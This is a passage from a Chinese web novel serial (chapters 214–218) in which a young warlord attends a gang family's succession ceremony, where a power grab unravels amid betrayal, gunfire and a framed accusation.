苏姚没说话，催着他去换衣服，刚才那点莫名其妙的心思也散了，趁着人不在，她打电话喊了沈家的车来，去学校接沈知心了。 等萧纵下楼的时候，已经不见了苏姚的影子。 “她人呢？” 管家连忙将话说了，萧纵刚平息下去的火气又窜了上来，“何坚成！王八蛋，我就知道苏姚会生气，我刚才就不该放过他！” 他原地骂了一通脏话，也顾不得其他，抬脚就往外走，他要去追苏姚。 萧茵连忙追出来，“大哥，我也要去的。” 萧纵打开车门，把她提进去，一打方向盘，径直朝沈知心的学校去，只是等到地方的时候，苏姚已经先一步把人接走了，他只好调转方向，往陈园去。 一路上车子开得极快，后面跟着的萧翼和警卫都被甩下了。 萧茵连忙抓住车门，“大哥，为什么开这么快？” 萧纵没开口，只一个劲地踩油门。 他不能容忍苏姚顶着沈知聿未婚妻的名头出现在陈园，苏姚是他的！ 车子紧赶慢赶，终于先沈家的车一步，抵达了陈园。 苏姚牵着沈知心的手下车，一抬头就看见他站在门前，压下了心里又生出来的嫌恶，她语气冷淡，“你怎么到得这么快？” 萧纵大步走过来，想要牵她的手，被她避开。 许是这几天两人关系好了很多，萧纵已经习惯了，这冷不丁又恢复了之前的生疏冷淡，萧纵怔了一下才回神，神情有些难看，再次朝苏姚伸出了手。 毫无意外的，再次被避开。 “干什么？” 苏姚语气冷淡，萧纵脸色僵了一瞬，将手收了回去，“没事，进去吧。” 苏姚牵着沈知心的手，先一步进了陈园。 萧茵下车的时候，刚好看见两人走远，她咬了咬嘴唇，眼神暗下去，苏姚还是那么好，但她只对沈知心好。 她好一会儿，才将委屈压下去，转身去找萧纵，却见他正在原地抽烟。 “大哥，不进去吗？” “不着急。” 萧纵咳了一声，又猛地吸了口烟。 萧茵十分茫然，明明路上还死命地踩油门，怎么到了跟前反而不着急了？ 可她察觉到了萧纵的不对劲，没有追问，等萧纵抽完那支烟，萧翼也带着警卫追了上来。 陈园的管事这才发现萧纵到了，连忙迎了出来，却不等走到跟前，就被人一把推开，“少帅，真是贵客啊。” 这人一身短打，虽然年过五十，却肌肉虬实，满脸凶悍，一看就不好惹。 是陈祖安拜把子兄弟里最小的一个，也是陈施宁最忌惮的一个，这人太能打了，别说陈施宁了，就连萧纵也不能确定自己能赢。 “五爷啊。” 他将烟蒂扔在地上踩了一脚，“怎么还亲自来迎客？” “少帅亲临，当然值得我来。” 陆五指了指门边，“少帅，借一步说话。” 萧纵眉梢一挑，“五爷啊，现在才拉拢我，是不是太晚了？” “只要有诚意，早晚都一样。” 他探手过来，比了五根手指，萧纵瞳孔微微一缩，随即哂笑一声，“我和施宁可是三十年的交情，五爷觉得这够吗？” “少帅也知道，施宁不是个当家做主的料子，我这个叔叔上位，能留他一命，好吃好喝地供养着他，不比他败光了家业强？” “五爷肯留下他？” “那当然，” 陆五压低声音，“交情再深，也不能为了别人，把到手的好处推出去不是？” 萧纵似是很纠结，低头又点了根烟，陆五一咬牙，“我再添一成，这么一来，陈家可就是您的了，少帅，敢问整个陈家，谁有我这种魄力？” 萧纵掐灭了烟，“五爷真是成大事的人，合作愉快。” 陆五凶悍的脸上也露出个笑来，“有少帅这句话，陆某可就成功了一半，今天您只管看好戏，别的什么都不用管。” “那我就拭目以待。” 他含笑送走了陆五，结果对方一转身，铁青着脸的陈施宁就出现在了他身后。 萧纵啧了一声，“陆五，算计我啊？” “不敢不敢。” 陆五连连摆手，“凑巧了，就是凑巧了。” 不等萧纵再说什么，陈施宁疯了一样窜上来，抬手就给了萧纵一拳，“王八蛋，老子拿你当兄弟，命都能给你，你竟然为了钱，背叛老子！” 他双眼猩红，喊得声嘶力竭，萧翼连忙上前来拉开他。 萧纵侧头吐出一口血水，这小子，这一拳可真是下了死力气，他磨了磨牙，冷笑一声：“施宁，不是我不帮你，是你真的不适合这个位置。” “背叛就是背叛，说什么屁话！” 陈施宁已经被押在了地上，骂完这一句呜呜地哭了起来，“老子真是瞎了眼，老子瞎了眼啊，王八蛋，萧纵你就是个王八蛋，老子怎么会拿你这种人当朋友……” 他越哭越伤心，砰砰锤着地，来往的宾客都探头看了过来，萧纵看了眼萧翼，他连忙将人从地上提了起来，“陈少，别哭了。” 陈施宁抹了把脸，恶狠狠地看向萧纵，“你给老子等着，老子早晚弄死你！” 话音落下，他扭头推开人群，冲回了陈家。 萧纵啧了一声，“我就说他不适合这个位置，毛毛躁躁。” 萧翼有些无奈，见萧纵的脸肿了起来，忍不住叹气，“您倒是和他好好说啊。” “他给我说的机会了吗？” 萧纵摸了下嘴角的血，“吓吓他，就当是教训了，进去吧。” 他抬脚往前走，一抬头却发现苏姚不知道什么时候又出来了，正神情复杂地看着他。 第214章 你有良心吗 “怎么？回来接我啊？” 萧纵挑了下眉，抬脚走过去，他看见了苏姚刚才的眼神，但不愿意询问，更不愿意拆穿，算了，不就是被她在心里骂几句吗？无关紧要的。 苏姚又看了他一眼，却没开口，只侧了下头，回避了他的目光。 啧，幸好没说别的。 萧纵看了眼躲在远处，不敢靠近的宾客们，没再去拉苏姚的手，只侧了下头，“进去吧，这天太热了。” 他说着扯开衣领，露出了小半个汗湿的胸膛，以及胸膛上纵横交错的伤痕。 苏姚目光在那伤痕上顿了顿，还是叹着气开了口，“你也别把事情做绝了，会遭报应的。” 萧纵扯着衣领的手停在了半空，几秒后才笑起来，“你是在担心我吗？” 苏姚不知道他怎么还能笑得出来，眉头微蹙，“你刚才问我，是不是回来接你的。” 萧纵又挑了下眉，似是不明白她为什么忽然又提起了这个。 苏姚不闪不避，盯着他的眼睛，“是的，陈少非要拉着我出来接你。” 萧纵“哦”了一声，目光闪了一下，抬手擦了擦嘴角溢出来的血，“混小子，还算他有良心。” “那你呢？” 苏姚忍不住开口，语气犀利又尖锐，“你想过他吗？一丝一毫呢？” “苏小姐……” 萧翼上前一步，似是要开口，却被萧纵一抬手拦住了。 他捻了捻指尖的血迹，认真地看着苏姚，片刻后又笑起来，“你替他说话，是因为担心我吗？你怕我被他报复啊？” 苏姚不可思议地看他一眼，自己掏心掏肺地和他说利弊，他就这么糊弄自己？ “看出来了，被报复你也是活该。” 她瞪了男人一眼，转身进去了，萧纵抬脚想追，又想起萧茵，只能停下来朝她招了招手，萧茵的脸色不大好看，被刚才两人打架的画面吓坏了，抬手抓住了萧纵的胳膊。 “你不热啊？” 萧纵很无奈，“抓得我一身汗。” 萧茵气恼地看着他，萧纵只好妥协，“走吧，进去就凉快了。” 兄妹两人大步进了陈园的主楼，这里的构造和帅府有些类似，一座主楼带两座副楼，装修却是中式的，但却并不突兀，有些中西结合的意思，而且还结合得恰到好处。 显然是用了心思的。 苏姚停在门前，多少有些被晃了眼，不知道是不是错觉，总觉得这座宅子，好像比帅府都要气派。 仔细想想也是，萧纵搬出来也才十年，他也不是会在住所用心思的人，陈家就不一样了，百年老宅，凝聚了几代人的心血。 “你喜欢这种风格？” 萧纵的声音在身后响起来，苏姚只当没听见，抬脚进了门。 沈知心一见她就快步走了过来，“我刚才听说外头出事了，你没事吧？” 她看着沉稳，其实也不过十几岁，小脸上难掩担忧。 苏姚捋了捋她的马尾，“没牵扯到我身上。” 她说着压低了声音，“但今天不太平，你不可以离开我身边。” 沈知心连忙点头，抬手紧紧抓住了苏姚的胳膊。 陈园的佣人来请几人入席，沈知聿没来，沈知心又没成年，所以两人被安排在了次席，倒是让苏姚松了口气，明知道今天陈家会出事，她可不想往跟前凑。 萧茵却跟了过来，“苏姚，我能跟着你一起坐吗？” 她看了眼沈知心紧紧抓着的苏姚的手，又想起刚才自己抓萧纵时，他嫌热的样子来，心里又委屈又无奈，看着苏姚的目光里不自觉带了期待。 “少帅的位置不在这里。” 苏姚没有犹豫就拒绝了，今天太混乱了，虽然萧纵不是个东西，但不得不说，跟在他身边更安全。 萧茵满脸失望，目光又扫过她们紧握的手，站在原地不肯走。 “站在这里干什么？” 萧纵不知道什么时候跟了过来，推着萧茵的后脑勺，拥着她往前走，看样子很想在苏姚身边坐下来。 萧茵反应过来，一个箭步窜过去占据了苏姚另一侧的位置，萧纵一呆，低头看着自己的妹妹，“你给我闪开。” “我不。” 萧茵抱住苏姚的另一条胳膊，“我就要坐在这里。” 萧纵被气得脸都紫了，“那是我的位置！” 萧茵扭开头，假装自己没看见，萧纵大步走过来，抓着她的胳膊就要把她提起来，萧茵疯狂挣扎，不留神给了萧纵两记老拳，萧纵被打得侧开头，却死活不松手。 两人正闹腾着，陆五赶了过来，“少帅，您怎么在这？您的位置在上面。” 他指了指主席主位左边的位置，那是最尊贵的客人席。 但萧纵并不感兴趣，“我看这个位置顺眼，还是坐在这里吧。” 他没再和萧茵胡闹，在她身边坐了下来。 陆五还要再劝，萧纵咧嘴一笑，“我离远些，也好不影响你们处理家务事。” 陆五脸色微微一变，随即笑开，“还是少帅考虑得周到，那我就承少帅的情了。” 他一拱手，转身往主席上走，不多时，陈祖安就被扶着出来了，他看起来病得不轻，边走边咳嗽，整个人都透着一股行将就木的气息。 所有宾客都站了起来，陈祖安却径直走到了萧纵面前，“少帅大驾光临，陈家真是蓬荜生辉。” 他说完咳嗽了一声，帕子上沾了血。 “伯父保重。” 萧纵语气淡淡，甚至都没有站起来，苏姚有些诧异地看过来，是她的错觉吗？ 上次萧纵见到陈祖安的时候，态度还十分亲近，今天怎么就…… 是因为和陆五达成了交易吗？ 这人还真是，说翻脸就翻脸。 她收回目光，没再多言，她今天就是个看客。 陈祖安似是也察觉到了，咳嗽得更加厉害。 “爹，你这病不能操心。” 耳边忽然响起女人的声音，苏姚一愣，循声看过去，这才瞧见陈祖安身边那位穿着衬衫马甲，剪着短发的高挑青年，竟然是个女人。 陈家除了那些个拜把子兄弟之外，家庭构成十分简单，陈太太早亡，陈祖安带着姐弟两人生活，并没有续弦。 所以这位姑娘的身份就很清楚了。 苏姚忍不住多看了两眼，说也奇怪，对方不开口的时候，她并没有注意到，可一旦她开了口，被人看见了，那目光就好像再也没办法从她身上挪开了。 陈祖安显然很宠爱这个女儿，闻言拍了拍她的手，眼底都是歉疚。 “爹糊涂啊……” 他还想再说什么，陆五笑着打断了他，“二哥，还是先入席，说正事吧，今天少帅来，可是为了看您金盆洗手的，也不好让人干等。” 陈祖安的脸色更难看了些，他侧头定定地看着陆五，最后却什么都没说，只抬脚往主席走。 陆五抬手击掌，“来，把金盆端上来。” 陈祖安的脚步顿住，怒道，“你就这么迫不及待？一点体面都不要了？” 陆五看了眼萧纵，冷笑一声，正要开口说什么，房门忽然被踹开，陈施宁带着一群陈家的伙计打手冲了进来：“想逼我爹退位，问过我了吗？！” 第215章 一场笑话 他气势汹汹，语气狠辣，看着像是要大闹一场的样子。 萧茵吓得一抖，下意识想去抓苏姚的手，触手却摸了个空，她一侧头，这才发现苏姚正将沈知心抱在怀里。 她一愣，忽然想起来之前她这么护着自己的样子来，眼眶控制不住地红了。 这种时候她都不管自己，她以后真的不会管她了是吗？ 可除了萧茵之外，其他人却并没有什么反应。 比起陈祖安的笑里藏刀，和陆五的凶相毕露，陈施宁架势摆得再足，也仍旧透出了生瓜蛋子的青涩。 少爷和爷，一字之差，却千里之遥。 陈家的夺位之争还没开始，众人仿佛就已经看见了陈施宁的败局。 人群里响起细碎的私语声，虽然刻意压低了声音，可此情此景，仍旧让人觉得尴尬和难堪，片刻后，陆五毫无顾忌地笑了起来，“好侄儿，你这是干什么呀？你爹病了，你不让他退，你难道要累死你爹吗？陈家几百号人，你也不管了？” “今天我爹退了，这里还是陈家吗？！” 陈施宁怒吼，他脾气是出了名的好，这还是苏姚头一回见他发怒。 若是寻常情况，见他这副样子，谁都要退让三分，给个面子的。 可今天，这幅反应却让人十分失望。 他像只张牙舞爪的猫，叫声再大，爪子再锋利，也改变不了他弱势的事实，反倒越发衬得他弱小无助。 陈祖安显然也看出来了，咳嗽声陡然剧烈起来，陈小姐给他拍了拍后背，却什么都没说。 陆五也并不想在陈施宁身上浪费时间，“好了，你之前一直说想留学，等今天事情了了，五叔就给你安排。” 陈施宁的脸色肉眼可见地涨红起来，“想把我扔出国啊？想得美！” 陈施宁掏出枪，枪口直接对准了陆五，“我说了，今天我爹不会退位，陈家就是陈家，你休想抢走！” 随着他话音落下，身后的打手和伙计也纷纷掏出家伙对准了陆五。 见他们如此，大厅里的气氛这才稍微紧绷了一些。 “施宁，别胡闹。” 陈祖安咳嗽着开口，“都是一家人，别闹到这个地步。” “一家人？” 陈施宁语调猛地拔高，“你把他当一家人，他把咱们当一家人了吗？三叔怎么死的？大爷怎么死的？下一个就是我了！” 陈祖安咳得更厉害，却仍旧否认，“不会的，老五不会这么做的，都是多少年的兄弟……” “兄弟怎么了？！” 陈施宁像是被这句话刺了一下，语气陡然凶狠起来，凶狠里又带着颤抖，他大步走到了萧纵面前，抬手就在他身上摸。 萧纵动了动手，陈施宁的枪口立刻对准了他，“别动！” 萧纵面露无奈，“你不就是要找枪吗？我给你拿？” 他从腰后把枪抽出来，扔在了桌子上。 陈施宁抄起枪，恶狠狠地瞪了他一眼，这才重新将枪口对准陆五，话却是对着陈祖安说的，“爹，我和他也是三十年的兄弟，可他呢？说卖我就卖我啊，他说卖我就卖我啊！” 他喊了出来，说着抬手狠狠擦了下眼睛，“老子再也不信兄弟了！今天谁都别想闹事，谁闹事我就宰了谁！” 他说着，又恶狠狠地朝萧纵瞪了过来。 “你疯了吗？！” 陆五忍不住了，“你敢对他动手，你是想毁了整个陈家吗？！” 他说着就要往前，看那样子，像是要给陈施宁一拳。 陈施宁连忙开了一枪，子弹贴着陆五的脸颊射了过去。 “陆五，我警告你！” 他怒道，“我不是在开玩笑，今天谁敢动，我真的会宰了他！” 陆五冷笑了一声，“我倒要看看，你怎么宰了我。” 他抬了抬下巴，陈施宁没看明白什么意思，可有人看明白了，上来就剿了他的枪，将他压在了地上。 陈施宁震惊地睁大了眼睛，“你们！” 动手的正是他带进来的那些打手。 萧纵叹了口气，没眼看似地侧开了头。 苏姚的神情也有些一言难尽，陈施宁怎么想的，明知道陆五要夺位，竟然还用陈家的人，他难道就不想想，这种时候被调进陈园的人，干净不干净吗？ “啊！” 陈施宁被压在地上怒吼，“你们这群王八蛋，白眼狼，你们哪个求到老子跟前，老子没帮忙，你们就这么对我！” 他又踢又踹，却根本挣脱不开。 “让各位见笑了。” 陆五拱手道歉，陈施宁的怒火瞬间转移到了他身上，“陆五，你连兄弟都杀，你不得好死，老子做鬼都不放过你！” 陆五不耐烦地看了打手一眼，打手抬手就要把人劈晕，一声轻咳却响了起来。 明明动静不大，可所有人的动作都在这一瞬停了下来，齐刷刷朝萧纵看了过去。 男人施施然开口，“堵了嘴，绑起来吧，这么热闹的戏，错过了多可惜。” “少帅说得对。” 陆五不敢不给面子，连忙吩咐打手去做。 陈施宁睚眦欲裂，恶狠狠地瞪着萧纵，看那样子，活像是要咬死他一样。 “啧，” 萧纵瞥了陈施宁一眼，“别闹了，弃子就要有弃子的自觉啊。” 陈施宁浑身都在哆嗦，他没再挣扎，只是死死盯着萧纵，眼眶一点点红起来。 萧纵又啧了一声，侧开了头，拿起酒壶给苏姚倒了一杯，“尝尝。” 苏姚对他的无耻和狠辣叹为观止，“你就一点都不愧疚吗？” 第216章 金盆洗手 萧纵仿若未闻，仍旧给她倒了酒，“这可只有陈园才喝得到，不尝尝很可惜。” 他说着，甚至还给沈知心和萧茵都倒了一杯。 苏姚摁住他的手，“你萧家的人我不管，但知心还没成年，不能喝酒。” 萧茵侧头看了她一眼，一把端起酒杯灌了进去。 苏姚下意识看了过来，嘴唇动了动，却还是什么都没说，只仍旧摁着萧纵的手。 萧茵将酒壶拿过去，“我还要喝。” 像是故意做给苏姚看的一样，她将杯子举起来当着苏姚的面，又给自己倒了一杯。 沈知心欲言又止，被苏姚拦住了：“别人的事，别多管。” 萧茵猛地咬住了嘴唇，抓着杯子没再动作，萧纵也没多言，只将酒壶从萧茵手里拿出来，推到苏姚手边，“别急着下结论，你先尝尝。” 苏姚不感兴趣，但又不想和他为了这种小事纠缠，所以还是端起酒杯喝了一口。 入口甘甜清凉，根本没有酒味，是果茶。 她有些诧异，陈园待客，用果茶？ 她忍不住又喝了一口，果茶冰凉清爽，在这种天气里，喝起来很是解暑。 “嫂子？” 沈知心见她神情有异，忍不住开口，苏姚朝她点了点头，“喝吧。” 沈知心这才端起来喝了一口，随即眼睛一亮。 “陈小姐不爱酒水，所以陈家待客，都用果茶，” 萧纵慢悠悠解释，眸光幽深，“我猜着你就喜欢。” 苏姚敷衍一笑，低头又喝了一口。 萧纵也没纠缠，又给萧茵倒了一杯，萧茵抓着酒杯没动，侧头去看苏姚，对方的注意力却全都在沈知心身上，并没有在意她。 就和之前在沈公馆的时候一样。 她落寞地收回目光。 陈施宁已经被绑在了角落里的柱子上，许是不想继续得罪萧纵，陈祖安和陈小姐都没有为他求情，只看了一眼就收回了目光，任由他在柱子上疯狂挣扎，看着狼狈又可怜。 曾经风光无限的人，沦落到这个地步，让人无限唏嘘，苏姚没有再看，其余宾客也纷纷收回了目光，只当他不存在。 陆五咳了一声，“二哥，您看，咱是不是不浪费时间了。” 陈祖安仿佛被气到了，又弯腰咳了起来，一声高过一声，仿佛要将肺都咳出来。 陆五上前要给他顺背，被陈祖安挥开，他强行忍住了咳嗽，“老五，你今天摆出这阵仗来，想来是势在必得了，这陈家不只是我自己的，你要就要了，但你得给我个准话，你想怎么对我这一双儿女？” 陆五叹了口气，“二哥，你这话就过了，平夷和施宁都是我看着长大的，就和我亲生的没有区别，我难道会苛待他们吗？” 陈祖安不吃这一套，“别说这些废话，你就给我个保证。” “行吧。” 陆五坐在椅子上，抬腿一翘，“我刚才说过了，施宁想出国，就让他出去，至于平夷……” 他搓了搓手指，目光落在陈祖安身侧，笑容忽然幽深了起来，“她这个年纪了，也不能一直为个死人守着，我会再给她找个合适的人家，也好接手她手里的那些生意。” 陈祖安双目圆睁，似是看出了陆五的盘算，气得又咳了一口血，“一个流放，一个扣押，老五啊老五，你就非要做得这么绝？” “我把事情做绝了？” 陆五凶悍的脸骤然紧绷，他阴沉沉地看过去，“二哥，老大和老三到底是谁下的手，你我都清楚，我不做绝了，等着你们父子来杀我吗？我能留他的命已经够仁慈了，别不识好歹。” “呜呜呜……” 陈施宁挣扎起来，似是有话要说，但他的嘴被堵住了，而且也并没有人理会他。 陈祖安的反应倒是和儿子如出一辙，“你这是要倒打一耙？我要对你们下手，还用等得到今天？” “哼，” 陆五冷笑一声，“谁敢说你没下手呢？老四当年的失踪，说不定就有什么内情。” “你！” 陈祖安被气得脸色铁青，已经浮上了一层死亡的灰败。 “爹，气大伤身，要冷静。” 陈平夷给他顺了顺后心，陈祖安看她一眼，长长地吐了口气，“几十年的兄弟啊，怎么就闹成了这样……老五，如果你真的想要陈家，我可以给你。” 陆五神色微动，不管怎么说，名正言顺总能少很多麻烦。 “二哥早这么说不就行了？” 他脸上立刻露出殷勤真切的笑，“大家都是兄弟，一家人，为了这么点家业，不值得闹翻，刚好少帅也在，二哥，那你就……” “别着急，” 陈祖安又侧头咳嗽起来，咳出来的血把帕子都浸透了，“我还有个条件。” 陆五脸上的笑僵了一瞬，可还是开口：“您说，只要不过分，兄弟没有不答应的。” 陈祖安大约是没信这话，垂眸死死盯着他，“我要分家，你还得给我立个字据，以后不准为难我这一双儿女。” 陆五脸上的肌肉抖动起来，满目阴狠，“二哥，我看在兄弟面子上给你开口的机会，你倒好，蹬鼻子上脸是吧？” “老五，他们拿不走多少东西，陈家的根基还在，为什么就不能放他们一马？” 陈祖安被气到了，声音都在抖。 陆五冷笑一声，抬手一击掌，大厅四面八方都涌进了人，密密麻麻堵住了出去的路。 陆五抬手一个个指过去，“二哥，你睁开眼睛看看，我准备得这么齐全，陈家已经是我的了，我凭什么要把到手的东西分出去？我又不傻。” 陈祖安脸色晦暗，却仍旧不放弃，“就当是看在这么多年……” “你怎么还不如一个小崽子通透？” 陆五打断了他，“施宁都知道，感情算个屁，你怎么就不明白呢？” 陈祖安彻底没了言语，只看着他深深地叹了口气。 陆五知道他是没话可说了，给了底下人一个眼色，施施然道，“还不请老爷金盆洗手？” 打手立刻去将金盆端了过来，径直送到了陈祖安面前，拔高音调重复了刚才的话，“请老爷金盆洗手。” 一众打手迅速往前逼近一步，纷纷高声附和，“请老爷金盆洗手。” 声音震耳欲聋，地面都跟着颤了颤，萧茵下意识缩了下脖子。 “呜呜呜……” 陈施宁又叫唤起来，看着眼前这逼宫似的场景他睚眦欲裂，却无能为力，急得他眼眶通红，几乎要掉下泪来。 “爹，”陈平夷忽然轻声开口，“洗手吧。” 第217章 我对你很失望 这话一出，众人都是一愣，陈施宁通红的眼睛里，全是不敢置信，他“呜呜”地更起劲，却一个字都说不出来。 几秒后，陆五打破了这份诡异的凝滞，他抚掌大笑，“还是我大侄女识时务。” 他看向陈祖安，“二哥，你放心，只要平夷愿意，我这个当叔叔的，会一直养着她，你就安心退下去，颐养天年吧。” 陈祖安没有理他，只看向陈平夷，“闺女，你真让我洗手啊？” “洗吧。” 陈平夷低头，给他挽起了袖子，“现在陈家还是完整的，你现在洗手，就不算败在了你手上。” 管家见状，连忙开口：“金盆洗手，一洗左手，从此黑白分明身，天地……” “废什么话？” 陆五一把推开管家，将陈祖安的两只手都塞进了金盆里，搅了两下就提了起来，“行了，从今以后，陈家就归我管了。” 陆五挥挥手，示意打手把金盆端走，目光这才落在陈祖安身上，“二哥，我给你找好了疗养的地方，你看你是现在去，还是吃完这顿酒再去？” “不着急。” 开口的不是陈祖安，而是陈平夷，她将陈祖安扶着在椅子上坐下，坐的却并不是主位，看在她识趣的份上，陆五没急着发作，“那就留下吃顿饭再走，来，把我准备的好酒送上来，少帅。” 他目光落在萧纵身上，“这可是我藏了十几年的好酒，今天咱们一定要喝个痛快。” “那是自然。” 萧纵淡淡应了一声，一口血沫忽然啐了过来。 陈施宁不知道什么时候将嘴里的帕子顶了出来，正疯狂朝萧纵吐口水。 他知道自己改变不了结果，可比起陆五，他更恨萧纵，他做梦都没想到，会被萧纵捅这么一刀。 萧纵裤脚被弄脏，脸色肉眼可见的黑下去，“陈施宁！” “呵忒，呵忒，呵忒……” 陈施宁充耳不闻，仍旧在吐口水，宾客们纷纷让开，谁都受不了这么恶心的攻击。 苏姚也连忙拽着沈知心走开，萧茵看了她一眼，才也跟着站起来，却没敢靠太近。 “给我打烂他的嘴！” 陆五气急败坏的开口，“陈施宁，你想害死陈家吗？” “呸，以后只有你陆家了，哪里有陈家？陆五，有种你就给老子一枪，老子做鬼都不会放过你！” 陈施宁怒吼，激动得全身都在抖，骂完也狠狠一口朝陆五啐了过去。 好巧不巧的，这一下刚好啐在对方脸上，一刹那，男人眼底就漫上了杀意，那张本就凶悍的脸，越发狰狞可怖。 他抬手就拔出了枪，“老子现在就送你上路！” 话音刚落，他就上了保险，打算开枪。 苏姚一惊，下意识抄起个酒杯，犹豫片刻又放下了，陈施宁不算个坏人，甚至比起萧纵和褚英来说，他称得上善良，可是她救不了他，不光救不了，还会暴露自己。 酒杯又被放了回去，下一瞬，枪声骤响，苏姚下意识看向萧茵，想起萧纵在，又将目光收了回来，捂住了沈知心的耳朵。 宾客瞬间大乱，却没有惨叫声响起。 苏姚察觉到了不对劲，连忙抬头去看，这才发现那一枪不是陆五开的，子弹对准的人也不是陈施宁，而是陈祖安。 开枪的是个打手，就是刚才端着金盆，逼着陈祖安洗手的那个。 这一枪别说在场的宾客了，连陆五都愣了。 “你干什么？！” 陆五怒吼出声，再也顾不得收拾陈施宁，大步朝打手走了过去，打手满脸惊讶，“五爷，不是你说的吗？你一动手，我就动手，把这父子俩一起处理了，陈家就彻底是咱们的了。” 陆五懵了，下意识反驳自证，“我什么时候说过这种话？” 他又不傻，虽然今天摆明了是夺位，可陈祖安不能死，这陈家他当家做主那么多年，底下有的是人信服他，这些人能接受陈祖安退位养老，却不能接受他死了。 如果人真的死在他手里，他这位置能不能坐稳先不说，陈家就得四分五裂了。 他一巴掌甩在打手脸上，“我怎么可能和你说这种话？” 打手捂着脸后退一步，态度却十分坚定，“就是您说的啊，大爷，三爷，咱们不都是这么解决的吗？” 陆五的表情彻底空白了，下意识开口，“老大老三的死，和我有什么关系？” 话音落下，他才陡然反应过来不对劲，脸色骤变，“王八蛋，你陷害我？谁让你来的？！” 他一脚踹在打手肚子上，将人踹飞出去，随即踩着他的胸口逼问。 打手吐出一口血，满脸惊惧，“五爷，您不能过河拆桥啊。” “谁过河拆桥了？我根本……” 他陡然意识到了不对劲，侧头朝周围看过去，就见一众宾客都看着他，神情复杂又玩味。 陆五心头狠狠一跳，“别听他胡说，老大老三的死和我没有任何关系！不是我做的！” 众人低头窃窃私语，没有人开口。 这显然是不相信的意思。 谁都清楚，有些事情只能做，不能说，一旦说了，那就会成为众矢之的。 现在陆五就落入了这个境地。 他将求救的目光看向萧纵，“少帅，你一定要相信我，我真的没对自己的弟兄下手。” “我当然是愿意相信你的……” 萧纵慢悠悠开口，陆五面上一喜，下一瞬，一口血沫又啐到了萧纵脚面上。 陈施宁逃过一劫，再次叫骂起来，难听程度，简直不堪入耳。 萧纵额角重重一跳，深深吐了口气，这才再次开口，“但是，刚才那么多人都看见了，你的确是想对那个蠢货，下杀手啊。” 陆五一惊，“少帅，我……” 萧纵摆摆手，幽幽叹息，“五爷，你竟然是这种人，我可真是，太失望了。” 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第218章 穷途末路 这话算是直接给陆五定了罪。 在场众人的神情顿时古怪起来，陆五也愣住了，他不敢置信地看着萧纵，显然没想到他的态度说变就变，“少帅，你不能这么草率地就给我定罪啊，你想想，我怎么可能蠢到当众杀人？就算要做，我只会暗地里行……” “你家老大老三，的确是悄无声息的没了。” 萧纵给出了肯定，“五爷好手段啊。” 陆五一抖，眼下的情形他就是再傻也看出来了，刚才的打手有问题，这次的洗手宴有问题，连面前这个答应他，不会插手的萧纵也有问题。 可他骑虎难下，已经没有别的路可走了。 他硬着头皮继续开口，“少帅，我再给你加一成，如果我得了陈家，我给你七成的家产，七成的利润，换成谁能有这么大的手笔？你帮我一把，我们共赢。” 越说到后面，他语气就越重，恨不能用钱砸醒萧纵。 萧纵迟迟没开口，倒是一点水星溅了过来，陈施宁已经啐到没有口水了，但还在坚持不懈，一边吐口水，一边骂人，全然没有意识到，场面已经发生了颠覆性的变化。 萧纵忍无可忍，起身走过去，摘了白手套塞进陈施宁嘴里，“你有完没完？” 陈施宁怒不可遏，虽然被绑着，却奋力伸腿来踢踹萧纵，萧纵猝不及防还真的被踹在了小腿上，他再也控制不住，一巴掌拍在了陈施宁脑门上，这才转身看向陆五：“五爷，不是我不想跟你合作，是你这背后捅刀子的本事实在是吓人，你连自家的兄弟，看着长大的子侄都能下手，何况是我呢？” 他抽了根烟出来，可看了苏姚一眼，又放了回去，“我实在是爱莫能助，你还是自己解决吧。” 陆五的脸色肉眼可见的苍白了下去。 身边忽然一声重响，是陈祖安重重拍了下桌子，“好啊，老五，竟然是你杀了老大和老三，同生共死这么多年，你怎么下得去手啊！” 陈祖安气急，捂着胸口咳得喘不上气来。 陈平夷给他拍了拍背，又拿了颗药丸塞进他嘴里，见对方的情绪缓和了下来，这才开口，“都说了气大伤身，爹你怎么不听话？” 陈祖安抬手捂住脸，老泪纵横，“我接受不了啊，白手起家的兄弟们，他怎么下得去手啊……” 陆五的脸色铁青，额角青筋凸起，他抖着手指向哭得不成样子的陈祖安，气得声音都变了调，“装模作样！老东西，人明明是你杀的！你竟然还有脸诬陷我？我，我……” 他怒极，直接将枪口对准了他，发了疯似的往前冲，“我今天就杀了你，给他们报仇！” 宾客们被他癫狂的样子吓到，慌忙往后退，人群里响起此起彼伏的尖叫声。 “果然是他杀的。” “你看他那副凶神恶煞的样子，一看就像是会下手的人。” “就是就是。” 尖叫声混杂着讨论声，一下下冲击着陆五的耳膜，他双眼血红，脑袋嗡嗡作响，几乎被刺激得失去了理智，“闭嘴，都给我闭嘴！” 他朝天开了一枪，“我说了不是我干的！” 刺耳的枪声惊得宾客们纷纷闭了嘴，众人聚在一起，再不敢开口。 “都冤枉我，都冤枉我！” 陆五失控似的咆哮起来，满脸狰狞，他将枪口对准在场的人，每划过一个人，就会引起一声尖叫，在这场绝对的武力压制下手，不管是高官还是名门，都被惊得连连后退，满眼惊惧。 愤怒到了极致，人反而冷静了下来，陆五抖着手握着枪，事到如今他只能一条道走到黑，先控制住局面再说别的。 “给我把门都封了，谁都不准离开！” 打手们却面面相觑，站在原地没动，陆五又朝天开了一枪，“都是死人吗？没听见我的吩咐？！” 打手们被骂得回了神，却仍旧没动，有人犹犹豫豫地开了口，“五爷，大爷和三爷，真的是你……” 陆五手一抖，几乎连枪都拿不稳了，这次却不只是气的，更多的还是惊惧。 因为今天在这里的这些人，不全是他的亲信，还有一部分是死了的老大和老三的人，是自己利用两人的死，挑唆起了他们对陈祖安和他一双儿女的仇恨，才将人收在麾下的。 现在他莫名其妙成了杀死老大老三的罪人，这些人的立场就也跟着动摇了。 他心里万分懊恼，原本他是只打算带自己的亲信的，可因为萧纵也会来，他怕万一，才将其他人也带了过来，没想到就出了这么一个乱子。 来不及多想，他一枪打死了开口的那个打手，在其余人惊惧的目光里，他咬牙开口，“你们给我想清楚了，究竟是给老大报仇要紧，还是你们的荣华富贵和小命要紧！” 他没有再去解释别的，反正也没人信，还不如直接利诱加威胁。 “你们可想清楚了，” 他加重了语气，“今天你们跟着我冲进来，那就是我的人，如果我出了事，你们谁也跑不掉。” 众人又惊又惧，站在原地进退两难。 “今天事情要是成了，每人一百大洋。” 陆五加重了语气，众人立刻变了脸色。 “一，一百大洋？” 打手们满脸震惊和贪婪，纷纷被说动了，可仍旧有人在犹豫。 